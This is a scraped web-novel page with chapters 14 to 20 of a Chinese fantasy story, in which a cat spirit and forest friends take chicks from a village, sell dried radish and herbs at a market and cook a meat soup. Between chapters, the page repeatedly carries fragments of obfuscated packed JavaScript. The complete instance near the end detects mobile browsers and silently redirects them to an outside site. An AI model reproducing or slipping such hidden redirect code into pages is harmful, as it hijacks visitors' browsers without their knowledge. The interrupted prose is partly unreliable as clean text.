;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白三姑有点犹豫:“可是,你现在化形还没化好......而且人类也不一定愿意跟咱们换鸡仔鸭仔。” 猫顿时露出一个不是很有素质的歪嘴笑:“那我们就强买强卖!” 14.第 14 章 猫说的强买强卖,就是直接掏人家几个鸡仔,再留下一些萝卜干和板蓝根权当“付费”了。 白三姑觉得衔蝉的计划很可行。 于是这天晚上,大白鸽背着猫,以及两大包用叶子包裹起来的萝卜干和板蓝根,趁着夜色飞下了山。 小狐狸和三参则在山上留守。 “哇!这个镇子好大。”衔蝉趴在白三姑背上,好奇的往底下的人类镇子看。 她本来以为这种山下的镇子会很小呢,没想到居然比她和铲屎官家的村子还大! 从高空中看去,山下的房屋连成了一大片,还有青石板的街道穿插在其中,将镇子分割成一块一块的。 在靠近山脚的地方,似乎还有一些像是村落的小聚居点,像星子一样散落在镇子的最边缘处。 这里跟猫以前在网上看到的古城景点很像,但又比那些网红古城多了几分真正的古意。 看着那些比古装剧里更有味道的瓦屋,衔蝉兴致勃勃。 白三姑却已经看了很多次了,并不惊奇。 她飞到镇子边上的一个小村庄里,把衔蝉放下来。 “好安静,路上都没有人哎。”猫感慨了一句。 在她们以前住的村子里,大晚上还有人钓鱼烧烤乘凉呢,要直到晚上12点以后,村子里才会安静下来。 但现在才刚入夜,猫估计也就七八点钟,这个小村庄的路上就已经完全没有人了。 并且大部分的瓦屋里都没有灯,黑漆漆的,只有一两户人家的窗户透着点昏暗的油灯光。 路上只有蛐蛐之类的虫子和青蛙在叫。 如果不是能看到路边的屋子,衔蝉几乎要以为这是野外了。 “人类有宵禁,她们晚上不出门。”白三姑跟猫解释:“所以晚上咱们出来还算安全。” 衔蝉竖起尾巴:“好哎!” 白三姑:“那我们现在就去找鸡仔和鸭仔?” 衔蝉想了想,问白三姑:“三姑,你知道人类镇子上一只鸡仔卖多少钱吗?” 让她看看,她们这次带下山的萝卜干和板蓝根换算成钱能“买”几个鸡仔。 然而这个问题却问到白三姑的知识盲区了。 她虽然偷偷下山过很多次,但说到底她并没有在镇子上生活过,也完全不懂人类这边的规矩。 知道人类会用钱买东西,都是她观察了很久很久才发现的事情。 所以猫这个问题问得她实在不知道该怎么回答。 衔蝉一听也有点懵:“嗯......那我们去打听打听?” 白三姑:“要怎么打听?” 让她用人形去问人吗?也不是不行,就是有点危险。 衔蝉摇头:“不,我们换个路子!” 月色下,猫儿眼微微发亮:“三姑,你知道哪里有药房吗?” 她打算摸到药房里偷偷看一眼药价,这样就可以确定她们的板蓝根能卖多少钱。 萝卜干好像也能入药? 然后再去没熄灯的人类窗户下偷偷听一会,看能不能听到鸡仔值多少钱。 白三姑感慨:“衔蝉,你好聪明啊。” 居然还能想到这样的办法! 猫尾巴竖得笔直:“嘿嘿!那我们先去找药房吧!” 白三姑点点头:“我知道这村里有个郎中,她家里有药房。” 她把猫带到一个有院子的三间大瓦房里。 巧得很,猫抬头就看到了屋檐下也挂着一串一串的萝卜干。 屋里的灯也还没熄。 “三姑,你在外面等我,我进去看看。” 大鸽子点点头,猫就这么大摇大摆的跳过篱笆,走进了人家的院子里。 现在她用的是原型,就是一只圆嘟嘟毛绒绒的白底橘猫,很常见的,一般情况下是不会引起别人注意的。 就算被发现了,她也可以假装自己是没开智的野猫。 衔蝉走到窗户下,发现窗户没关严,她跳上去,伸爪一推,窗户吱呀一声就开了。 屋里的人正在灯下翻看医书,听到窗户边的动静,连忙抬头看。 但猫的动作很快,嗖的一下就跳进屋里,钻到了人家桌子底下。 所以人类什么都没看到,只以为是风吹开了窗户。 她摇摇头,继续低头看书。 她背后还有一个大柜子,柜子上有很多小抽屉,每一个抽屉上还贴着纸条,纸条上写着药名。 这是一个中药柜子。 猫躲在桌子上仔细瞅了瞅,发现那些字都是繁体字。 但万幸,猫是识字的,她跟在铲屎官身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哇!这里居然有个鸡窝! 15.第 15 章 草垛里的鸡窝里面蹲着一只瑟瑟发抖的老母鸡。 母鸡没有开智,但白三姑那么大一个鸽子精就在旁边,它再傻也知道自己打不过人家。 但害怕归害怕,母鸡却还是努力张开翅膀,把自己的崽子护在羽翼下。 衔蝉低头一瞅,还能看到母鸡翅膀下有很多双迷你的小爪子。 很明显,这里有一窝小鸡仔! 猫高兴极了,看来今晚上不用多跑一趟了! “三姑!我们动手吧!摸两只鸡仔走!要一个母鸡一个公鸡!”这样带到山上养大,它们才能继续孵小鸡。 然后她们就可以在山上修鸡圈搞养殖啦! 白三姑点点头,走过去,张开翅膀朝母鸡叫了一声。 母鸡抖得更厉害了,但还是死死的护着鸡仔。 衔蝉趁母鸡和白三姑正在对峙,顺爪就从鸡翅膀下掏了一只鸡仔出来! 母鸡:“!!” 小鸡仔唧唧唧的叫唤,但猫一爪按住了它,它想跑都跑不掉。 白三姑扭头一看:“公的。” 她们鸟类自有分辨雌雄的法子,只需要一眼就能看出鸡仔是母是公。 猫点点头,把公的鸡仔叼嘴里,再伸爪一掏! 母鸡:就硬抢啊?! 衔蝉:啊,不然嘞? 猫手气很好,一抓就抓到个母鸡仔,这下就齐活了。 可是由于还没打听到鸡仔值多少钱,所以衔蝉纠结了好一会,决定把所有板蓝根都留下。 她把两个鸡仔塞到白三姑翅膀下,然后自己叼着板蓝根,送到郎中屋檐下。 想了想,又回头把一包萝卜干也叼过来,跟板蓝根摆在一起。 “好了好了,先回去吧!” 猫跳到大鸽子背上:“下次我们再来的时候,再找机会打听鸡仔多少钱啦!” 如果板蓝根和萝卜干给少了,她们下次再带点来给人补上。 如果多了......那就当补偿费好啦!反正她们以后肯定不会缺粮食的,也不差这一点啦! 白三姑笑了:“好的。” “不去找鸭仔了吗?直接回去了?” 衔蝉挠挠头:“嗯呢,就先带两个鸡仔吧,我怕我们带的板蓝根和萝卜干不够。” 她不清楚这个世界的物价,所以就先稳着点吧,有两个鸡仔先拿回去养也可以了。 大鸽子觉得很有道理,于是就带着猫和鸡仔回山上了。 第二天。 郎中起床开门,就看到了屋檐下的两包东西。 她蹲下来,打开叶子包裹一看,惊讶的往院子外看了看。 但是她当然不可能看到什么啦,猫和鸽子早就回山上去了。 所以郎中很茫然的收下两包药材,还以为是哪个病人送来的诊金呢。 不过等她发现自家鸡仔少了两个的时候,或许她就能联想到什么了。 只是不管她联想到什么都跟山上的猫和鸽子无关了。 小南峰上。 衔蝉又变成猫头人身的样子,带着大家哼哧哼哧的砍竹子,劈竹条,编鸡笼。 山上地方大,如果不用鸡笼关着,鸡仔几天就找不回来了。 衔蝉一边编笼子,一边跟大家商量:“咱们把鸡笼编大一点!这样以后鸡多了也还能用!” “好的!” 小狐狸叼来一大串干藤条,三参用萝卜缨子卷着白三姑给的羽刃,有模有样的劈开竹子。 不过她的操作精度不够,只能简单的把竹子对半劈开。 再由人形的白三姑继续劈成篾片,最后再递到流水线的最后一环:给猫拿去编鸡笼。 没办法,山上只有她一个会编笼子的。 两只鸡仔缩在旁边瑟瑟发抖,忽然被带离妈妈身边,它们有点慌。 但是慌也没用,跑不掉。 只能哆嗦两下以示尊敬这样子。 很快,一个大大的鸡笼就在衔蝉手下成型。 把还在发抖的鸡仔丢进笼子里,再丢一大把山里的野草进去,鸡仔很快就不抖了。 是吃的! 有了吃的,鸡仔总算安静下来,不再唧唧乱叫。 从这天起,小南峰上就多了两只笼养的鸡仔。 衔蝉把鸡笼也搬到了竹屋仓库里,免得下雨把鸡仔给淋死了。 小狐狸蹲在鸡笼外,吸溜了一下口水。 衔蝉说等这两个鸡仔长大,再生蛋孵小鸡,以后她们就有鸡蛋和鸡肉吃啦! 叼来几个小虫子丢进鸡笼,小狐狸虔诚的念叨:“多吃点,快长大。” 最好马上就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且她们这次可以光明正大的下山去买! 16.第 16 章 “可以光明正大的下山?!”胖萝卜似乎想到了什么,激动起来:“衔蝉,你现在已经可以完全化形了吗?!” 三姑说过的,不能完全化形就不可以下山。 上一次是例外,她们是趁着夜色用原型悄悄下去的,不算。 听到三参这么一问,猫得意的叉腰:“是的!你们看!” 噗的一下,猫摇身一变,居然真的变出了一颗正儿八经的人脑袋! “我会变脑袋了!现在我全身都可以变了!” 终于掌握了化形技巧的猫叉腰大笑:“喵哈哈哈!” “啊!衔蝉,你真的变成人形了!没有猫头了!”小狐狸像个捧哏的,眼睛亮亮的看着人形的衔蝉。 白三姑也很惊讶,这才多久,衔蝉就完全掌握化形技巧了?! 这也太天才了吧! 要知道,她可是勤勤恳恳修炼了二百年才学会化形的呀! 可衔蝉却不到两个月就学会化形了! 在白三姑的赞叹声中,猫笑得越发得意。 三参看得眼热,也大叫一声:“我也要化形!我要跟你们一起下山去!” 说着,胖萝卜努力蛄蛹了一下。 她白白胖胖的萝卜身体逐渐被光芒笼罩,然后缓缓拉长。 衔蝉和白三姑马上围着三参,给她加油:“哇!三参,你也好厉害!快变!变好了我们一起下山!” 小狐狸忽然也开始发光。 她也要化形,跟大家一起下山! 于是小南峰上多了两坨正在蛄蛹的光团。 不久后,三参首先变化成功,噗的一下从一根胖萝卜,变成了一个头顶萝卜缨子的......萝卜人。 她的四肢躯干脑袋都变得挺好,但就是比例不协调,而且身体看上去也不太像人类,像是用萝卜雕刻出来的雕像。 三参自己看不见,就兴奋的问大家:“怎么样怎么样!我变得像吗?!” 猫沉默了一会。 白三姑却面不改色的鼓掌:“变得很好!已经能看出人形了!三参真厉害!” 她说得很真情实感。 因为这才过去多久呀,三参居然也攒够了化形的灵力! 虽然她现在变得不是很像,但像不像是一回事,能不能变又是一回事。 对普通小妖而言,能达到化形的门槛,就已经是个很大的进步了! 所以三参的进步之快,也超出了白三姑的预料。 三参学着衔蝉刚刚的样子叉腰:“哇哈哈哈!” 她扭头又看向还保持着光团状态的小狐狸:“阿琅!就差你了!加油呀!” 衔蝉和白三姑也一起喊:“阿琅加油!” 在大家的鼓励下,小狐狸的光团渐渐拉长,然后噗的一下,变成了一个......矮墩墩的人。 “怎么样?我变得好吗?”小狐狸变成的人紧张的问道。 大家互相对视了一眼。 怎么说呢,其实平心而论,阿琅可能是第一次化形就化得最像的一个。 她没有变成奇奇怪怪的样子,四肢五官也没有变错地方,一眼就能看出来她变的是人形。 但......她现在变出来的人形,只有大家的膝盖那么高,而且头上的狐狸耳朵和背后的狐狸尾巴都还在。 这一眼就能看出来是个狐狸小妖。 一秒钟后,衔蝉大力鼓掌:“哇!阿琅你变得真像!虽然矮了一点还有耳朵和尾巴,但你是咱们当中第一次变得最像人的!” 三参和白三姑也鼓掌:“没错没错!” 三头身的人形小狐狸羞涩的笑了一下,头顶的耳朵也抖了抖。 “大家的进步都好快。”白三姑感慨:“衔蝉,真的多亏有你。” “是你让大家吃饱了,才能有多余的灵力化形。” “而且你们化形的速度都比我当年快了很多。” 她足足摸索了二百年,才终于化成了人形,但三参今年才一百来岁,阿琅更是不满百岁,就已经可以化形了。 这其实很让大鸽子意外。 因为这实在是太难得了,通常妖想化形,起码要在攒够灵力后再摸索几十上百年才有可能成功。 但衔蝉,三参,阿琅的化形速度都远远超出了她的想象。 “衔蝉,这一定是你的鱼汤的功劳。” 大鸽子总结道。 “是的!肯定是因为衔蝉的鱼汤咱们才能这么快化形!”小狐狸和胖萝卜一下子扑到衔蝉身上。 衔蝉严谨的纠正她们的说法:“是我们的鱼汤!大家一起努力做出来的鱼汤!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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17.第 17 章 小南峰上,一根胖墩墩的白萝卜和一只浑身雪白的小狐狸依依不舍的朝两个“人”挥手告别。 “三姑!衔蝉!早点回来呀!我们在山上等你们回来!” 小狐狸一边挥爪一边喊:“一路顺风!注意安全!” 衔蝉和白三姑各背着一个竹子编的背篓,跟三参和阿琅挥了挥手。 “我们会在天黑前回来的!你们继续练习化形叭!我们去给你们探探路,下次咱们再一起下山哦!” “好!” 背着满满当当的背篓,衔蝉和白三姑用人形下了山。 下山的路很陡峭,并不好走,如果是普通人来,根本上不了山。 这样的路用人形走起来简直不要太难。 但白三姑和衔蝉并不是普通人。 在这里生活了二百年的大鸽子精熟知小南峰上的每一寸路,她可以带着衔蝉走最好走的近道。 衔蝉更是个从小就跟着铲屎官在村里上山下河野惯了的猫,区区山路,对现在成了精的她来说完全不在话下。 所以很快她俩就来到了山脚下。 看着不远处的村落,白三姑问衔蝉:“咱们要去哪里卖东西?村里还是镇子上?” 她比较倾向去村里,因为村里人少,并且没有降妖师。 而镇上却有降妖师,据说还不是一个,而是一个降妖师家族。 听起来就很吓妖。 衔蝉却道:“去镇子上!最好去人最多的大集!” 见白三姑疑惑,衔蝉解释道:“村子里虽然没有降妖师,但村里人少,所有的村民都互相认识。” 对村民来说,她们是外来人,很容易引起别人的警惕。 反而是人多的镇上更安全,大集上谁也不认识谁,她俩混在人群里才不会起眼。 “最危险的地方就是最安全的地方!” 镇上的降妖师肯定想不到居然有小妖敢大喇喇的跑到她们的地盘上去卖菜,所以衔蝉觉得还是镇上安全。 白三姑听完,也觉得有道理。 “那行,都听你的,我们去镇上的大集。” 于是二人结伴,往镇上走去。 白三姑认识路,很快就带着衔蝉来到了镇子里。 不过第一次这么光明正大的用人形走进人类的地盘,白三姑心里还是有点发虚,下意识的想避开人群走小道。 但衔蝉却像个螃蟹一样大摇大摆的走在路上,背影比真正的路人还嚣张。 旁人见了她这模样,便以为她是哪家的贵人,还得给她让路呢。 只是等她走远了,路人们才疑惑的挠头,贵人也爱背背篓赶集吗?真是奇怪的品味! 白三姑:“......” 白三姑定了定神,追上衔蝉。 前方的衔蝉正抓着路人问路呢,一点不拿自己当外人:“大娘!早啊!你知道大集怎么走不?” 大娘也是个热心肠,给她指路:“你往前走两条街再右拐就到了!姑娘,你们也是来赶集的吗?” 衔蝉:“不全是吧!我们来卖点山货,然后才有钱去赶集!” 她自然得好像是个土生土长的本地人,大娘都被她这坦坦荡荡的精神感动了。 “哎!那我带你们去吧!可怜见的,都不容易呀!” 衔蝉马上喜笑颜开:“谢谢大娘!大娘!这萝卜干是我们自己晒的,给你尝尝鲜啊!” 她从背篓里抓出一大把萝卜干塞给大娘,大娘也笑嘻嘻的收下了,还摸了半个油饼给衔蝉还礼。 白三姑:“......” 白三姑觉得有一肚子话想说,但又不知道从何说起。 如果她去过现代社会,她就会知道,这是社恐对社交悍匪的莫名吐槽欲。 默默地拉了拉背篓的背带,白三姑沉默的跟上已经快要跟大娘认干亲的猫。 走到大集上,已经有很多人了。 白三姑有点想跑。 人太多了,她有点心里没底。 但衔蝉已经在大娘的指导下选了一块摆摊的风水宝地了。 她把背篓里的萝卜干往面前一摆,马上大声吆喝起来:“自家晒的萝卜干!超好吃的萝卜干!走过路过千万不要错过!” 她吆喝得大声,一下子就吸引了好几个赶集的人。 路人一看,她的萝卜干确实晒得好,便蹲下来问价:“这萝卜干怎么卖?” 衔蝉还没开口,大娘就做主帮忙定价:“五文钱一斤!” 路人:“有点贵啊,别家萝卜干才卖三文一斤呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实衔蝉这次带下山的板蓝根并不多。 因为板蓝根只取根须,一整颗板蓝根的根须晒干后也只有细细的一把。 衔蝉把所有的板蓝根都晒了收起来,总共也就收到一小堆,铺在背篓最底下,才将将把背篓底的竹条盖住。 全部拿出来往大叶子上铺开一摆倒是显得多了一点,但实际上也没多少。 再加上没有秤,所以当郎中问包圆需要多少钱时,衔蝉挠挠头,道:“那你看着给嘛!” 猫露出一排白牙,笑得一脸和气生财:“这次我们没带秤,你看看大概有多少,给个差不多的价就行!” 郎中见她笑得爽朗,当即也痛快的掏出了荷包。 “我估摸你这里的板蓝根应当有个七八两左右,按八两来算,就是四百文,给你们四钱银子吧。” 她从荷包里取出一小锭银子。 “我也没带戥子,这里应该有四五钱,给。” 衔蝉眨了眨眼睛。 郎中姐姐也是个爽快人啊! 猫喜欢! 她把一整包板蓝根都用叶子包起来递给郎中,还顺手给她抓了一把萝卜干。 “好的!下次我们再来卖山货,你过来,我们给你多装一点呀!” 郎中也笑:“好的。” 收起板蓝根,她朝衔蝉挥手:“小老板,再会。” 猫学着她的动作挥手,然后扭头麻溜的把叶子铺成的小摊一收。 今天带下山的东西都卖完啦! 萝卜干一共有十五斤,一共卖出七十五文钱,再加上卖板蓝根的四钱银子,现在她们一共有将近五百文钱啦! 可以去买东西了! 猫喜气洋洋的把背篓往背上一背,想了想,又从兜兜里掏出一把铜钱。 “大娘!今天谢谢你呀!本来该请你吃个饭的,但是我们还有东西要买,所以这些铜钱给你,是给你的谢礼!” 大娘连忙推辞:“哎!太见外了!不至于不至于。” “老婆子我本来也没什么事,帮你们吆喝几声也不累,使不得,使不得。” 她一把捏住衔蝉的手,语重心长:“你们今天赚的钱的也不多,快收回去,好生省着点花用,别乱糟蹋了。” 她执意不肯收这些钱,猫也只好把手收回来。 衔蝉不好意思的挠了挠头:“好吧,下次我们再来赶集的时候,再给你带点我们自家的土特产来,你可不要再推辞了啊!” 这回大娘笑呵呵的点头:“那没问题!” 见衔蝉这边马上要走,大娘便跟她俩告别,并约定若是下次再见,大家再一起去东街吃一顿小馄饨。 背上背篓,衔蝉拉起还在假装蘑菇的白三姑。 “三姑,走!我们去买东西!” “我们要买种子,还有锅,碗,瓢,盆,还有菜刀,盐,鸡仔,鸭仔,鱼苗......” 猫一路念叨着,顺便边走边东张西望。 这个大集很热闹,到处都是摆摊的开店的,来来往往的人也很多。 各色商品也琳琅满目,让猫颇感稀奇。 这可比古装电视剧里的道具有趣多了。 在大集上逛了一会,猫的背篓里就装满了锅碗瓢盆。 盐也买了一小包。 再数数剩下的钱,已经花了一大半了。 “啊!我们只剩下一百来钱啦。”衔蝉一拍脑袋:“不能再买别的东西了,先把种子买好吧。” 大集上卖种子的人并不多。 因为这边的农人们习惯于自行留种,很少会在外面买需要花钱的种子。 所以衔蝉逛了一大圈,最终只买到几种据说刚从外邦传进来的新鲜种子。 “唉,不就是些红薯玉米土豆嘛,怎么卖那么贵。”猫小声碎碎念,心疼得不行。 因为她只买了两根红薯秧子,半块带芽的土豆和一小把玉米粒,就花了八十文钱! 比五文钱一颗的南瓜秧贵多了! 要是放在她跟铲屎官的村里,就这点东西,扔地上人家都懒得捡,但她却要花足足八十文才能买到! 可是这次她们下山就是要多买点不同的种子,不能盯着最便宜的南瓜秧买,不然很快大家又吃腻了。 唉! 深感贫穷的猫心疼得直吸气。 她掏出荷包数了一下,发现兜里还剩下二十四文钱。 再问问路边卖鸡仔鸭仔的摊子,一只鸡仔就要二十文,鸭仔更贵,要二十五文。 这还能买个啥呢! 蹲在卖鸡仔的摊子前纠结了很久,衔蝉遗憾的伸手摸了摸那些黄绒绒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她只在电视上看过类似的“天师”,但人家都是主角,对手也是些高大上的反派,像她们这样的小妖,人家估计都懒得多看一眼。 19.第 19 章 衔蝉心里清楚自己为什么不怕人,但有些话她又不好跟白三姑直说。 所以她只含糊答道:“哎呀!咱们又没干什么坏事,那些降妖师也犯不着来抓咱们吧?” “只要降妖师不来抓咱们,别的人类就没什么好怕的了嘛!” 白三姑:“......” 虽然说理是这么个理,但她还是心里发虚。 她自觉还是做不到像衔蝉那样。 “嗐,不说这个了。”衔蝉不想再继续这个话题,转而说道:“这次咱们买了好几种新种子,回头都种上!” “这样下次我们再下山,就可以有更多的山货可以卖啦!” “以后我们可以卖南瓜干,红薯干,还有土豆和玉米!喔!还有板蓝根和萝卜干!” 后两种虽然大家吃腻了,但还是可以多种一点拿下山卖嘛。 “板蓝根价钱更高,咱们回去多种点板蓝根吧!萝卜可以少种一点......” 说着,就已经走到山下了。 白三姑往山上看了一眼,忽然开口打断了衔蝉:“人参,人参可以少种一点。” 衔蝉:“哎?” “哦!对对对!不是萝卜,是人参。” 她差点忘了,如果说三参是萝卜的话,她会生气的。 “可是为什么啊?”说到这个,衔蝉很不解:“三参为什么想做人参呢?” 其实大家都知道三参是萝卜小妖,大家也没觉得她比人参小妖差什么,所以不管她是萝卜还是人参都不会影响大家喜欢她的。 那为什么三参还总是执着的强调自己是人参呢? 猫猜测:“是因为人参更贵吗?” 白三姑摇摇头:“不是。三参不知道萝卜和人参的差价,应该也不会在意这个。” “也不是她想做人参吧,而是她一直以为自己就是人参。” 作为一个生活在山里没什么见识的小妖,三参的常识是有些匮乏的。 她只听别的小妖说过,人参成精了就是人参娃娃,而人参娃娃又跟别的植物小妖不一样。 普通的植物小妖在化形之前都不能离开自己扎根的土地,只有人参娃娃可以在没化形的时候就满地乱跑。 所以三参很认真的思考了一下。 人参娃娃会跑,她也会跑,所以她=人参娃娃。 自觉终于弄明白了自己的跟脚之后,三参就格外留心打听关于人参娃娃的消息。 “我们都没有家族传承,也没什么大妖亲眷,因此想要修行,便只能这样自己摸索。” 三参就是想知道人参娃娃该怎么修行。 “她这些年一直以为自己是按照人参娃娃的方式修炼的,如果你说她不是人参,不就是说她以前的努力都白费了吗。” 而且三参是很认真的在做人参娃娃。 人参娃娃可以到处跑,她就很少把自己扎在土里一动不动。 她又听说人参可以强身治病,还自带灵气,她就经常把自己的叶子须须分给大家吃,想帮大家补补身体和灵力。 衔蝉:“喔!我想起来了,三参以前好像说她也给我偷偷喂过她的参须。” “后来我醒了,她也还拿叶子给我和阿琅吃,问我们也没有感觉到法力大涨。” 所以她不仅很认真的在做人参,还很认真的想用自己的“种族天赋”帮助小伙伴们。 这样一想,猫顿时觉得心里一软。 难怪大家都不戳穿三参。 完全没必要嘛。 虽然人参和萝卜的修炼方式好像也没什么区别,但既然三参更愿意做人参,那就做吧! 以后如果有谁说三参不是人参,猫就揍谁! 就这么愉快的决定了! 衔蝉又好奇起另一点:“诶!三参那些关于人参娃娃的消息,是在哪里打听的呀?” 走进山里后,白三姑的神色终于不那么紧绷了,她回答衔蝉:“应该是胡图跟她说的。” 猫歪头:“胡图又是谁?” 白三姑解释:“是东山那边的一个灰兔子妖,她很喜欢打听东家长西家短的,咱这一片就她消息最灵通。” “如果以后咱们有什么消息想打听,也可以去找她。” 衔蝉点头:“好的,我记住啦。” 说着,山路已经走了大半,抬头都能隐约望见山顶了。 衔蝉和白三姑还没走到山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328191|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶,就见两道白色的影子从山上飞奔下来。 “衔蝉!三姑!”胡琅和三参一起跑过来:“你们总算回来啦!” 三参围着衔蝉和白三姑直转圈:“怎么样?东西卖出去没有?有没有买到东西?你们有没有遇到降妖师?” 白三姑耐心回答:“卖出去了,有买东西,没有遇到降妖师,别担心。” 小狐狸变成一个有衔蝉的腰那么高的狐耳小娃娃,伸手去接衔蝉的背篓。 “衔蝉,你肯定累了吧?背篓我来背吧。” 衔蝉顺手摸了一把小狐狸的耳朵,但没有把背篓给她:“哇!阿琅,你变高了一点诶!现在都到我腰这么高啦!” 先前她还只能变成她膝盖那么高的迷你娃娃呢,现在就能变到这么高了,进步很快嘛! 小狐狸一听到夸奖,马上忘了目的,不好意思的抖了抖耳朵:“你们走了之后,我一直在练习化形。” 练了一天,终于能把自己变大一点了。 但由于灵力还是不太够,所以她用尽全力也只能变成现在这么大。 想要变得跟衔蝉一样高,她就还得再攒攒灵力。 “别担心,我们这次买了新的种子回来,以后食物多了,你努力多吃点,灵力很快就能攒够了!” 衔蝉拍拍背篓:“我们还买了肉和骨头回来!” 猫一把搂住小伙伴的肩,笑得见牙不见眼的:“今天我们做肉汤吃!” 是正儿八经的肉! 小狐狸眼睛一亮。 其实她早就闻到香香的肉味了,只是还不太敢相信,衔蝉肯定的一说,她马上咽了咽口水。 虽然她是个肉食小妖,但说来也可怜,她长这么大还没吃过正儿八经的肉呢。 衔蝉听得更怜爱了。 “以后咱们努力种地,卖山货换钱买肉吃!” 还可以买猪牛羊回来养,以后肉食管够! 这个饼画得又大又圆,小狐狸听得一脸梦幻,仿佛已经看到了吃肉吃到饱那一天。 “走喽!回去煮肉汤吃!吃饱了才有力气种地!” 衔蝉大步向前,高兴的想哼小曲儿。 今天大家都吃一顿好的! 20.第 20 章 衔蝉把背篓取下来,给三参和阿琅看她们今天下山卖货的收获。 三参趴在背篓边,对那些锅碗瓢盆好奇得不行,不停的用萝卜缨子去戳戳摸摸。 小狐狸则咽着口水看向那一包装着肉的荷叶包,不停的抽动鼻子。 衔蝉摸了摸小狐狸的脑袋:“别急,我们马上就可以吃肉啦!” 她撸起袖子招呼大家:“今天我们来修一个灶台吧!这样以后做吃的就更方便啦!” 大家纷纷响应:“好!” 虽然不知道什么是灶台,但衔蝉说什么都是对的! 在衔蝉的指挥下,大家齐心协力,很快就用黄泥和石头搭出了一个土灶台。 就在竹子仓库不远处,离东坡子洞也很近。 “这个灶台,要怎么用?”白三姑爱不释手的摸着这个她们亲手搭起的土台,心里是说不出的感慨。 她总感觉,东坡子洞越来越像一个正儿八经的家了。 衔蝉:“这个很简单的啦!把锅架上去,底下就可以放柴火!” “那我们去捡柴火!仓库里的柴火不多了!”胖萝卜和小狐狸一溜烟的跑了。 她俩知道自己现在化形化得不好,在灶台边帮不上多少忙,便很自觉的包揽了力所能及的粗活。 反正这些天她们都已经很有经验啦! 要捡那些晒干了的枯藤枯木回来,干枯的笋壳草叶也能拿回来引火。 用不完的柴火还可以继续放在小仓库里,下一顿继续用。 见三参和阿琅跑远,猫洗了洗手,掏出了新买的菜刀和砧板。 “三姑,我们来做饭吧!” 今天她打算大展厨艺! “我们做一个大骨头肉汤!里面加多多的人参干!还可以加大青叶!和鸽子蛋!” 这是她们目前手头有的所有的食材。 水里的鱼虾蟹不算,因为大家都已经吃鱼虾蟹吃得打脑壳了,再吃就要吐了。 所以今天换口味! 三参的萝卜干和板板的大青叶含有一些灵气,口味比普通的鱼虾蟹好很多,所以这一顿也可以加多多的进去! 鸽子蛋是这几天她们攒下来的。 最近白三姑吃得饱,灵力也多了点,每天就多下一颗蛋,交给衔蝉存起来。 现在小竹子仓库里已经攒了一小篮子鸽子蛋了,有七八个呢。 一起丢在汤里煮熟,也是一顿好饭了。 白三姑自己也不介意吃自己的鸽子蛋,这对她们鸟族而言不是什么稀罕事,所以这些鸽子蛋今天都可以煮了吃。 衔蝉掰着手指数家当,数得眉开眼笑的。 然后她把那一包瘦肉和骨头取出来,瘦肉切块,骨头砸开,先丢进锅里熬一锅汤底。 这一锅汤底,就把小仓库里仅剩的柴火给用光了。不过很快,三参和阿琅就带着新的柴火回来了。 胖萝卜用萝卜须须和萝卜缨子卷着一大捆枯枝枯藤,小狐狸也叼着一捆干草和笋壳。 “柴火来啦!” 把柴火放下,小狐狸又用力吸了吸鼻子:“好香啊!” 她站在灶台边,脑袋都快扎进锅里了。 从没吃过正经肉的小狐狸感觉自己口水都快掉下来了。 “别急别急,还没煮熟呢。”衔蝉拍拍阿琅的脑袋,想了想,往锅里撒了点粗盐,拿了饭碗舀起三碗汤。 “先喝点汤垫垫吧!” 她把汤碗递给大家,还不忘叮嘱:“慢点哦,小心烫。” 大家捧着新买的粗陶碗,像是捧着什么稀世珍宝。 